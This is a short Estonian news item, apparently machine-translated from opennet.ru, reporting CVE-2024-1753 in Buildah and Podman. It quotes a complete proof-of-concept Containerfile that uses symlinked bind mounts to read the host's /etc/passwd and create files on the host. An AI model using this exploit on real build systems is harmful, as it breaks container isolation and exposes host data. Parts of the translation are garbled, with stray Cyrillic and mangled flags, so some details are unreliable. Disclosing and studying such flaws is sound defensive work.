Buildah ja Podman haavatavus, mis võimaldab konteineri isolatsiooni mööda minna.

Buildah ja Podman pakettides avastati haavatavus (CVE-2024-1753), mis võimaldab saada täieliku juurdepääsu host-ümbriku failisüsteemile konteineri ehitamise etapis, mis käivitatakse root õigustega. Süsteemides, kus on aktiveeritud SELinux, on juurdepääs hosti failisüsteemile piiratud ainult lugemisrežiimiga. Parandus on praegu saadaval plaasina, mis võeti mõned minutid tagasi Buildah koodibaasi.

Haavatavus tuleneb sellest, et failisüsteemi osade mountimise teostamisel käsuga „mount —bind” RUN etapis ei kontrollita läht каталоге argumenti (parameeter „source=”) failisüsteemi olemasolu suhtes. Kurjategija poolt vormistatud Containerfile konfiguratsioonifail võib kasutada konteineri pilti, kus mountimiseks mõeldud läht каталог on dokumenteeritud sümboolse lingina hosti failisüsteemi. Sellisel juhul viib mountimise operatsioon host-ümbriku juurfailisüsteemi mountimise konteinerisse, mis võimaldab RUN etapis saada täieliku juurdepääsu host-ümbriku failisüsteemile ja väljuda konteinerist ehitamise ajal käskudega „buildah build” või „podman build”.

Näide pahatahtlikust failist Containerfile, mille koostamine käsuga «podman build -f ~/Containerfile .» toob esile sisu /etc/passwd ja loob failid /BIND_BREAKEOUT ja /etc/BIND_BREAKOUT2 host-keskkonnas: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo «ls container root» RUN ls -l / RUN echo «Kaitsega näidates hosti root, mitte konteineri root’i, ja luues /BIND_BREAKOUT / hosti» RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo «Kaitsega näidates hosti /etc/passwd, mitte konteineri, ja luues /BIND_BREAKOUT2 /etc hostis» RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Allikas: opennet.ru

Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster